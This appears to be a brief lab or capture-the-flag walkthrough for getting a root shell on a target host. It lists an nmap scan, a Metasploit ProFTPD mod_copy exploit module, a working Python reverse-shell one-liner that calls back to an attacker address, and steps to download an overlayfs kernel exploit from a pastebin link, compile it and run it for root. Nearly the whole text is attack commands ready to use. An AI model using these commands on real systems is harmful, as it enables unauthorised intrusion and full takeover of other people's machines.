QUICKEST ROOT SHELL :)
nmap -sV 192.168.100.231
Using the following exploit:
use exploit unix/ftp/proftpd_modcopy/exec
Getting better shell:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-IP",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Getting root shell:
- Upload overlayfs_exploit.c to pastebin.com
- Download on target system using wget or curl & save into file
- GCC compile the C exploit and gain root shell
curl https://pastebin.com/raw/LTADWAas > over.c
gcc over.c -o over
./over
id